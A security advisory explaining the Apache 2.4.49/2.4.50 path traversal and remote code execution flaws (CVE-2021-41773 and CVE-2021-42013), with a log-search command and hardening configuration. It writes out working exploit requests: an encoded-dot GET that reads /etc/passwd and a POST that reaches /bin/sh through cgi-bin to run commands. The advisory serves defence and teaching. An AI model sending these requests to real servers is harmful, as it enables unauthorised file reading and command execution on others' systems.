Apache HTTP Server Path Traversal & RCE (CVE-2021-41773 & CVE-2021-42013)

1. October 2021: The Path Traversal in the World's Oldest Web Server

In early October 2021, the Apache HTTP Server Project released version 2.4.50 to fix an actively exploited zero-day vulnerability in its path normalization logic: CVE-2021-41773. Within 48 hours, security researchers discovered that the patch was incomplete, creating CVE-2021-42013 and enabling unauthenticated remote code execution on misconfigured servers running CGI modules.

2. CVE Metadata Overview

3. Technical Root Cause: The URL Normalization Flaw

Apache 2.4.49 introduced a new path normalization function (ap_normalize_path) intended to clean URL paths by resolving directory traversal tokens (../).

The parser checked for the presence of ../, but it performed URL-decoding after the safety check was completed. By sending double-encoded or percentage-encoded dots (.%2e/ or %%32%65%%32%65/), attackers bypassed the string comparison:

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: web.enterprise-store.com

If the Apache configuration did not explicitly enforce Require all denied on the root filesystem (<Directory />), Apache read and returned files located outside the designated web root.

4. Escalation to Remote Code Execution

When mod_cgi or mod_cgid was enabled, attackers could traverse into executable directories (such as /bin/sh) and execute arbitrary shell commands via standard POST requests:

POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: web.enterprise-store.com
Content-Type: text/plain

echo Content-Type: text/plain; echo; /usr/bin/id

5. Detection and Server Configuration Fixes

# Search Apache access logs for traversal attempts
grep -E '(.%2e|%%32%65)' /var/log/apache2/access.log /var/log/httpd/access_log

6. Mandatory Hardening Blueprint

1. Upgrade immediately to Apache HTTP Server 2.4.51 or later.
2. Ensure your httpd.conf enforces default directory access denial:

   
   <Directory />
       AllowOverride none
       Require all denied
   </Directory>
   

3. Disable unnecessary legacy CGI modules (mod_cgi, mod_cgid) in favor of modern FastCGI / PHP-FPM architectures.